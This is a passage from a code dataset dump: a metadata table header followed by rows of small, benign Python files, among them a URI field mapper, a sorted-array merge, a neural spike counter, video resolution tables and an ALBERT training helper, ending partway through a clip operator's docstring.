hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
11d77eda0591e3f3b3bf7a3974d445649a1ebea1 | 1,121 | py | Python | src/annalist_root/annalist/views/fields/render_identifier.py | gklyne/annalist | 82e7ef2d56a400325e7618fa9e590072ee8a71d3 | [
"MIT"
] | 18 | 2015-02-20T23:09:13.000Z | 2020-11-13T06:06:43.000Z | src/annalist_root/annalist/views/fields/render_identifier.py | gklyne/annalist | 82e7ef2d56a400325e7618fa9e590072ee8a71d3 | [
"MIT"
] | 30 | 2015-01-03T09:56:28.000Z | 2021-06-10T20:58:55.000Z | src/annalist_root/annalist/views/fields/render_identifier.py | gklyne/annalist | 82e7ef2d56a400325e7618fa9e590072ee8a71d3 | [
"MIT"
] | 5 | 2015-02-02T09:01:23.000Z | 2018-06-14T20:05:28.000Z | from __future__ import unicode_literals
from __future__ import absolute_import, division, print_function
"""
Value mapper for Identifier (URI/CURIE) field
"""
__author__ = "Graham Klyne (GK@ACM.ORG)"
__copyright__ = "Copyright 2017, G. Klyne"
__license__ = "MIT (http://opensource.org/licenses/MIT)"
import logging
log = logging.getLogger(__name__)
from utils.py3porting import is_string, to_unicode
from annalist.views.fields.render_base import RenderBase
# ----------------------------------------------------------------------------
#
# Identifier value mapping
#
# ----------------------------------------------------------------------------
class IdentifierValueMapper(RenderBase):
"""
Value mapper class for entity id field.
"""
@classmethod
def decode(cls, field_value):
"""
Returns an Identifier (URI/CURIE) form field value with leading/trailing spaces trimmed
"""
if is_string(field_value):
field_value = field_value.strip()
return field_value
# encode defaults to identity mapper]
# End.
| 26.690476 | 95 | 0.591436 | 111 | 1,121 | 5.648649 | 0.621622 | 0.095694 | 0.051037 | 0.063796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005562 | 0.198037 | 1,121 | 41 | 96 | 27.341463 | 0.69188 | 0.315789 | 0 | 0 | 0 | 0 | 0.133034 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.533333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
11ea7899c730e0b4612508fdd0c08be597d272f5 | 147 | py | Python | arcade_solutions/the_core/tennis_set.py | nickaigi/automatic-dollop | eb8222475c7871c1d5710242c5aed8c70ea0d2c8 | [
"Unlicense"
] | null | null | null | arcade_solutions/the_core/tennis_set.py | nickaigi/automatic-dollop | eb8222475c7871c1d5710242c5aed8c70ea0d2c8 | [
"Unlicense"
] | null | null | null | arcade_solutions/the_core/tennis_set.py | nickaigi/automatic-dollop | eb8222475c7871c1d5710242c5aed8c70ea0d2c8 | [
"Unlicense"
] | null | null | null | def tennis_set(s1, s2):
n1 = min(s1, s2)
n2 = max(s1, s2)
if n2 == 6:
return n1 < 5
return n2 == 7 and n1 >= 5 and n1 < n2
| 21 | 42 | 0.482993 | 28 | 147 | 2.5 | 0.535714 | 0.171429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195652 | 0.37415 | 147 | 6 | 43 | 24.5 | 0.565217 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
eea19dfe87f988fedbaf5073b1e8c69f662629e3 | 431 | py | Python | easy/88. Merge Sorted Array.py | junyinglucn/leetcode | 1fbd0962e4b7dc46b4ed4f0f86778cfedbda72e7 | [
"MIT"
] | null | null | null | easy/88. Merge Sorted Array.py | junyinglucn/leetcode | 1fbd0962e4b7dc46b4ed4f0f86778cfedbda72e7 | [
"MIT"
] | null | null | null | easy/88. Merge Sorted Array.py | junyinglucn/leetcode | 1fbd0962e4b7dc46b4ed4f0f86778cfedbda72e7 | [
"MIT"
] | null | null | null | class Solution:
def merge(self, nums1, m, nums2, n):
i=m-1
j=n-1
tmp=m+n-1
while i>=0 and j>=0:
if nums1[i]<nums2[j]:
nums1[tmp]=nums2[j]
tmp-=1
j-=1
else:
nums1[tmp]=nums1[i]
tmp-=1
i-=1
while j>=0:
nums1[tmp]=nums2[j]
tmp-=1
j-=1 | 23.944444 | 40 | 0.338747 | 58 | 431 | 2.517241 | 0.310345 | 0.041096 | 0.178082 | 0.191781 | 0.273973 | 0.273973 | 0.273973 | 0.273973 | 0 | 0 | 0 | 0.108374 | 0.529002 | 431 | 18 | 41 | 23.944444 | 0.610837 | 0 | 0 | 0.388889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
eea3ba0d1989351683b6e4ddccc9b45d91212eca | 2,910 | py | Python | SNN simulation/evaluation/spike_counter.py | XiaoquinNUDT/Three-SNN-learning-algorithms-in-Brian2 | b7a5b0aba03172cdc04e738f02a949c373c1aac2 | [
"BSD-2-Clause"
] | 8 | 2019-12-18T09:36:34.000Z | 2021-06-22T15:47:49.000Z | SNN simulation/evaluation/spike_counter.py | Mary-Shi/Three-SNN-learning-algorithms-in-Brian2 | b7a5b0aba03172cdc04e738f02a949c373c1aac2 | [
"BSD-2-Clause"
] | null | null | null | SNN simulation/evaluation/spike_counter.py | Mary-Shi/Three-SNN-learning-algorithms-in-Brian2 | b7a5b0aba03172cdc04e738f02a949c373c1aac2 | [
"BSD-2-Clause"
] | 6 | 2020-03-31T11:40:29.000Z | 2022-03-14T01:26:40.000Z | """
This code is for countering the spikes generated by every neuron.
The spike records are loaded from the '../result' folder copied from the spike record in the code generation mdoe.
"""
"""
on 22th May
by xiaoquinNUDT
version 0.0
"""
"""
test: no
"""
"""
optimazation record:
"""
##-----------------------------------------------------------------------------------------
import numpy as np
# np.fromfile() np.where() np.argsort() np.zeros() np.sum()
import matplotlib.pyplot as plt
# plt.figure() plt.title() plt.plot()
import sys
# sys.argv[]
##-----------------------------------------------------------------------------------------
num_example = int(sys.argv[1])
population_OUT = int(sys.argv[2])
archive_folder = str(sys.argv[3])
number_iteration = int(sys.argv[4])
iteration_folder = archive_folder + '/iteration_' + str(number_iteration)
count_interval = 100
path_spike_record = iteration_folder + '/result' # relative to the location of talent_run.sh
num_count = int(num_example / count_interval)
time_step = range(0, num_count)
time_per_example = 0.5
spike_counter = np.zeros((num_count, population_OUT))
count_interval_time = count_interval * time_per_example
passed_time_interval = count_interval * time_per_example # the first time interval
spike_index_path_name = path_spike_record + '/dynamic_array_spikemonitor_i_'
spike_time_path_name = path_spike_record + '/dynamic_array_spikemonitor_t_'
spike_monitor_index = np.fromfile(spike_index_path_name, dtype = np.int32, count = -1, sep = "" )
spike_monitor_time = np.fromfile(spike_time_path_name, dtype = np.float64, count = -1, sep = "")
if len(spike_monitor_index) != len(spike_monitor_time):
raise Exception('Spike records may not read properly!')
print('firing rate of per neuron for one example:' + str(float(len(spike_monitor_index))/population_OUT/num_example))
spike_counter_one = np.zeros(population_OUT)
number_count = 0
for j, item in enumerate(spike_monitor_time):
if item > passed_time_interval:
number_count = int(item / count_interval_time) - 1
spike_counter[number_count, :] = spike_counter_one
spike_counter_one = np.zeros(population_OUT)
passed_time_interval += count_interval_time
spike_counter_one[spike_monitor_index[j]] += 1
spike_average = np.sum(spike_counter, axis = 1) / population_OUT
spike_average_matrix = np.reshape(spike_average.repeat(population_OUT), (num_count, population_OUT))
deviation = spike_counter - spike_average_matrix
deviation_2 = np.square(deviation)
standard_deviation = np.sum(deviation_2, axis = 1)
print('average standard_deviation: ' + str(np.mean(standard_deviation)))
np.save(iteration_folder + '/spike_counter' + '_' + str(population_OUT) + '_' + str(number_iteration) + '.npy', spike_counter)
np.save(iteration_folder + '/spike_standard_deviation' + '_' + str(population_OUT) + '_' + str(number_iteration) + '.npy', standard_deviation)
| 46.190476 | 142 | 0.712371 | 396 | 2,910 | 4.914141 | 0.300505 | 0.066804 | 0.052415 | 0.021583 | 0.204008 | 0.158273 | 0.122302 | 0.048304 | 0 | 0 | 0 | 0.010514 | 0.117526 | 2,910 | 62 | 143 | 46.935484 | 0.747274 | 0.182474 | 0 | 0.05 | 1 | 0 | 0.103524 | 0.037445 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.075 | 0.075 | 0 | 0.075 | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
eea76daa04c466de45906c8735807ec01100580d | 4,155 | py | Python | core/recc/video/resolution.py | bogonets/answer | 57f892a9841980bcbc35fa1e27521b34cd94bc25 | [
"MIT"
] | 3 | 2021-06-20T02:24:10.000Z | 2022-01-26T23:55:33.000Z | core/recc/video/resolution.py | bogonets/answer | 57f892a9841980bcbc35fa1e27521b34cd94bc25 | [
"MIT"
] | null | null | null | core/recc/video/resolution.py | bogonets/answer | 57f892a9841980bcbc35fa1e27521b34cd94bc25 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# {name: (aka, width, height, aspect ratio)}
HIGH_DEFINITION_MAP = {
"NHD": ("nHD", 640, 360, (16, 9)),
"QHD": ("qHD", 960, 540, (16, 9)),
"HD": ("HD", 1280, 720, (16, 9)),
"HD PLUS": ("HD+", 1600, 900, (16, 9)),
"FHD": ("FHD", 1920, 1080, (16, 9)),
"WQHD": ("WQHD", 2560, 1440, (16, 9)),
"QHD PLUS": ("QHD+", 3200, 1800, (16, 9)),
"UHD 4K": ("4K UHD", 3840, 2160, (16, 9)),
"UHD PLUS 5K": ("5K UHD+", 5120, 2880, (16, 9)),
"UHD 8K": ("8K UHD", 7680, 4320, (16, 9)),
}
VIDEO_GRAPHICS_ARRAY_MAP = {
"QQVGA": ("QQVGA", 160, 120, (4, 3)),
"HQVGA 240 160": ("HQVGA", 240, 160, (3, 2)),
"HQVGA 256 160": ("HQVGA", 256, 160, (16, 10)),
"QVGA": ("QVGA", 320, 240, (4, 3)),
"WQVGA 384 240": ("WQVGA", 384, 240, (16, 10)),
"WQVGA 360 240": ("WQVGA", 360, 240, (3, 2)),
"WQVGA 400 240": ("WQVGA", 400, 240, (5, 3)),
"HVGA": ("HVGA", 480, 320, (3, 2)),
"VGA": ("VGA", 640, 480, (4, 3)),
"WVGA 768 480": ("WVGA", 768, 480, (16, 10)),
"WVGA 720 480": ("WVGA", 720, 480, (3, 2)),
"WVGA 800 480": ("WVGA", 800, 480, (5, 3)),
"FWVGA": ("FWVGA", 854, 480, (16, 9)),
"SVGA": ("SVGA", 800, 600, (4, 3)),
"DVGA": ("DVGA", 960, 640, (3, 2)),
"WSVGA 1024 576": ("WSVGA", 1024, 576, (16, 9)),
"WSVGA 1024 600": ("WSVGA", 1024, 600, (128, 75)),
}
EXTENDED_GRAPHICS_ARRAY_MAP = {
"XGA": ("XGA", 1024, 768, (4, 3)),
"WXGA 1152 768": ("WXGA", 1152, 768, (3, 2)),
"WXGA 1280 768": ("WXGA", 1280, 768, (5, 3)),
"WXGA 1280 800": ("WXGA", 1280, 800, (16, 10)),
"WXGA 1360 768": ("WXGA", 1360, 768, (16, 9)),
"FWXGA": ("FWXGA", 1366, 768, (16, 9)),
"XGA PLUS": ("XGA+", 1152, 864, (4, 3)),
"WXGA PLUS": ("WXGA+", 1440, 900, (16, 10)),
"WSXGA": ("WSXGA", 1440, 960, (3, 2)),
"SXGA": ("SXGA", 1280, 1024, (5, 4)),
"SXGA PLUS": ("SXGA+", 1400, 1050, (4, 3)),
"WSXGA PLUS": ("WSXGA+", 1680, 1050, (16, 10)),
"UXGA": ("UXGA", 1600, 1200, (4, 3)),
"WUXGA": ("WUXGA", 1920, 1200, (16, 10)),
}
QUAD_EXTENDED_GRAPHICS_ARRAY_MAP = {
"QWXGA": ("QWXGA", 2048, 1152, (16, 9)),
"QXGA": ("QXGA", 2048, 1536, (4, 3)),
"WQXGA 2560 1600": ("WQXGA", 2560, 1600, (16, 10)),
"WQXGA 2880 1800": ("WQXGA", 2880, 1800, (16, 10)),
"QSXGA": ("QSXGA", 2560, 2048, (5, 4)),
"WQSXGA": ("WQSXGA", 3200, 2048, (25, 16)),
"QUXGA": ("QUXGA", 3200, 2400, (4, 3)),
"WQUXGA": ("WQUXGA", 3840, 2400, (16, 10)),
}
HYPER_EXTENDED_GRAPHICS_ARRAY_MAP = {
"HXGA": ("HXGA", 4096, 3072, (4, 3)),
"WHXGA": ("WHXGA", 5120, 3200, (16, 10)),
"HSXGA": ("HSXGA", 5120, 4096, (5, 4)),
"WHSXGA": ("WHSXGA", 6400, 4096, (25, 16)),
"HUXGA": ("HUXGA", 6400, 4800, (4, 3)),
"WHUXGA": ("WHUXGA", 7680, 4800, (16, 10)),
}
STANDARD_DISPLAY_RESOLUTIONS_MAP = (
(160, 120, (4, 3)),
(320, 200, (8, 5)),
(640, 200, (16, 5)),
(640, 350, (64, 35)),
(640, 480, (4, 3)),
(720, 348, (60, 29)),
(800, 600, (4, 3)),
(1024, 768, (4, 3)),
(1152, 864, (4, 3)),
(1280, 1024, (5, 4)),
(1400, 1050, (4, 3)),
(1600, 1200, (4, 3)),
(2048, 1536, (4, 3)),
(2560, 2048, (5, 4)),
(3200, 2400, (4, 3)),
(4096, 3072, (4, 3)),
(5120, 4096, (5, 4)),
(6400, 4800, (4, 3)),
)
WIDESCREEN_DISPLAY_RESOLUTIONS_MAP = (
(240, 160, (3, 2)),
(320, 240, (4, 3)),
(432, 240, (9, 5)),
(480, 270, (16, 9)),
(480, 320, (3, 2)),
(640, 400, (8, 5)),
(800, 480, (5, 3)),
(854, 480, (427, 240)),
(1024, 576, (16, 9)),
(1280, 720, (16, 9)),
(1280, 768, (5, 3)),
(1280, 800, (8, 5)),
(1366, 768, (683, 384)),
(1366, 900, (683, 450)),
(1440, 900, (8, 5)),
(1600, 900, (16, 9)),
(1680, 945, (16, 9)),
(1680, 1050, (8, 5)),
(1920, 1080, (16, 9)),
(1920, 1200, (8, 5)),
(2048, 1152, (16, 9)),
(2560, 1440, (16, 9)),
(2560, 1600, (8, 5)),
(3200, 2048, (25, 16)),
(3840, 2160, (16, 9)),
(3200, 2400, (4, 3)),
(5120, 2880, (16, 9)),
(5120, 3200, (8, 5)),
(5760, 3240, (16, 9)),
(6400, 4096, (25, 16)),
(7680, 4320, (16, 9)),
(7680, 4800, (8, 5)),
)
| 32.209302 | 55 | 0.456558 | 613 | 4,155 | 3.058728 | 0.223491 | 0.0432 | 0.034133 | 0.0384 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.370704 | 0.250782 | 4,155 | 128 | 56 | 32.460938 | 0.231609 | 0.015403 | 0 | 0.016807 | 0 | 0 | 0.163405 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
eeb9f9481ed759722a73ffee2d434efb0fab4765 | 1,211 | py | Python | research/glue/model.py | legacyai/tf-transformers | 65a5f9a4bcb3236483daa598a37b91673f56cb97 | [
"Apache-2.0"
] | 116 | 2021-03-15T09:48:41.000Z | 2022-03-24T05:15:51.000Z | research/glue/model.py | legacyai/tf-transformers | 65a5f9a4bcb3236483daa598a37b91673f56cb97 | [
"Apache-2.0"
] | 4 | 2021-03-20T11:20:57.000Z | 2022-01-05T04:59:07.000Z | research/glue/model.py | legacyai/tf-transformers | 65a5f9a4bcb3236483daa598a37b91673f56cb97 | [
"Apache-2.0"
] | 9 | 2021-03-17T04:14:48.000Z | 2021-09-13T07:15:31.000Z | from transformers import AlbertTokenizer
from tf_transformers.core import Trainer
from tf_transformers.models import AlbertModel as Model
from tf_transformers.optimization import create_optimizer
MODEL_NAME = "albert-base-v2"
def get_model(return_all_layer_outputs, is_training, use_dropout):
"""Get the model"""
model = Model.from_pretrained(
MODEL_NAME, return_all_layer_outputs=return_all_layer_outputs, is_training=is_training, use_dropout=use_dropout
)
return model
def get_tokenizer():
"""Get Tokenizer"""
return AlbertTokenizer.from_pretrained(MODEL_NAME)
def get_optimizer(learning_rate, examples, batch_size, epochs):
"""Get optimizer"""
steps_per_epoch = int(examples / batch_size)
num_train_steps = steps_per_epoch * epochs
warmup_steps = int(0.1 * num_train_steps)
def optimizer_fn():
optimizer, learning_rate_fn = create_optimizer(learning_rate, num_train_steps, warmup_steps)
return optimizer
return optimizer_fn
def get_trainer(distribution_strategy, num_gpus=0, tpu_address=None):
"""Get Trainer"""
trainer = Trainer(distribution_strategy, num_gpus=num_gpus, tpu_address=tpu_address)
return trainer
| 30.275 | 119 | 0.768786 | 160 | 1,211 | 5.4625 | 0.33125 | 0.02746 | 0.061785 | 0.072082 | 0.148741 | 0.070938 | 0 | 0 | 0 | 0 | 0 | 0.003906 | 0.154418 | 1,211 | 39 | 120 | 31.051282 | 0.849609 | 0.043765 | 0 | 0 | 0 | 0 | 0.012313 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0.173913 | 0 | 0.608696 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
eeba0d1ed2b1db35a3bc2e9b6e63110e1a7144e5 | 729 | py | Python | tests/fixtures/fixtures.py | irahorecka/python-craigslist-meta | 069b0b85971b20f8ea20a1e8868b4614c180ebce | [
"MIT"
] | 1 | 2021-04-07T23:40:15.000Z | 2021-04-07T23:40:15.000Z | tests/fixtures/fixtures.py | irahorecka/python-craigslist-meta | 069b0b85971b20f8ea20a1e8868b4614c180ebce | [
"MIT"
] | 1 | 2021-02-25T21:14:05.000Z | 2021-02-26T08:53:50.000Z | tests/fixtures/fixtures.py | irahorecka/python-craigslist-meta | 069b0b85971b20f8ea20a1e8868b4614c180ebce | [
"MIT"
] | null | null | null | """ Common pytest fixtures. """
import pytest
from craigslist_meta import base, metadata
@pytest.fixture
def get_keys():
""" Get all keys of a given class. """
yield lambda selector: base.find_keys(metadata.CRAIGSLIST, selector)
@pytest.fixture
def get_children():
""" Get children of a given instance. """
yield lambda selector, key: base.find_children(metadata.CRAIGSLIST, selector, key)
@pytest.fixture
def get_title():
""" Get title of a given instance. """
yield lambda selector, key: base.find_title(metadata.CRAIGSLIST, selector, key)
@pytest.fixture
def get_url():
""" Get url of a given instance. """
yield lambda selector, key: base.find_url(metadata.CRAIGSLIST, selector, key)
| 25.137931 | 86 | 0.711934 | 98 | 729 | 5.204082 | 0.27551 | 0.129412 | 0.12549 | 0.14902 | 0.458824 | 0.458824 | 0.458824 | 0.458824 | 0.270588 | 0.270588 | 0 | 0 | 0.170096 | 729 | 28 | 87 | 26.035714 | 0.842975 | 0.208505 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | true | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
eedb5425208f62c1886b02c8df2b0c1faedd24e4 | 374 | py | Python | python/chapter1/1.3_urlify/urlify.py | cedricium/cracking-the-coding-interview | dc6741f75ea0e08b9cd0d42ff61c4b10c8e0df5e | [
"MIT"
] | null | null | null | python/chapter1/1.3_urlify/urlify.py | cedricium/cracking-the-coding-interview | dc6741f75ea0e08b9cd0d42ff61c4b10c8e0df5e | [
"MIT"
] | null | null | null | python/chapter1/1.3_urlify/urlify.py | cedricium/cracking-the-coding-interview | dc6741f75ea0e08b9cd0d42ff61c4b10c8e0df5e | [
"MIT"
] | null | null | null | def urlify(str, length=None):
"""Write a method to replace all spaces with '%20'.
Args:
str - String whose spaces should be replaced by '%20'
length - length of str minus any spaces padded at the beginning or end
Returns:
A string similar to str except whose spaces have been replaced.
"""
return str.strip().replace(' ', '%20')
| 34 | 78 | 0.641711 | 54 | 374 | 4.444444 | 0.685185 | 0.091667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021818 | 0.264706 | 374 | 10 | 79 | 37.4 | 0.850909 | 0.708556 | 0 | 0 | 0 | 0 | 0.051282 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
eee4bb56cbb00279f90b9b97acaf2347f56191b1 | 182 | py | Python | S4/S4 Library/simulation/global_policies/global_policy_enums.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | 1 | 2021-05-20T19:33:37.000Z | 2021-05-20T19:33:37.000Z | S4/S4 Library/simulation/global_policies/global_policy_enums.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | S4/S4 Library/simulation/global_policies/global_policy_enums.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | import enum
class GlobalPolicyProgressEnum(enum.Int):
NOT_STARTED = 0
IN_PROGRESS = 1
COMPLETE = 2
class GlobalPolicyTokenType(enum.Int):
NAME = 0
PROGRESS = 1
| 16.545455 | 41 | 0.692308 | 22 | 182 | 5.636364 | 0.681818 | 0.112903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035971 | 0.236264 | 182 | 10 | 42 | 18.2 | 0.856115 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
eef0a9869fbb57b3cbf3b7b2e433c7e5bc612d49 | 1,347 | py | Python | rxsci/data/clip.py | maki-nage/rxsci | 64c9956752cbdd4c65aa9f054b6b28318a056625 | [
"MIT"
] | 3 | 2021-05-03T13:40:46.000Z | 2022-03-06T07:59:30.000Z | rxsci/data/clip.py | maki-nage/rxsci | 64c9956752cbdd4c65aa9f054b6b28318a056625 | [
"MIT"
] | 9 | 2020-10-22T21:08:10.000Z | 2021-08-05T09:01:26.000Z | rxsci/data/clip.py | maki-nage/rxsci | 64c9956752cbdd4c65aa9f054b6b28318a056625 | [
"MIT"
] | 2 | 2021-01-05T16:48:54.000Z | 2021-08-07T12:51:01.000Z | import rxsci as rs
def clip(lower_bound=None, higher_bound=None):
'''clip values between lower_bound (included) and higher_bound (included)
The source can be an Observable or a MuxObservable.
.. marble::
:alt: clip
-0-1-2-1-3-4-2-6---|
[ clip(2, 4) ]
-2-2-2-2-3-4-2-4---|
Args:
lower_bound: [Optional] The minimal value to emit.
higher_bound: [Optional] The maximal value to emit.
Returns:
AN observable emiting the source items, clipped to the provided bounds.
Raises:
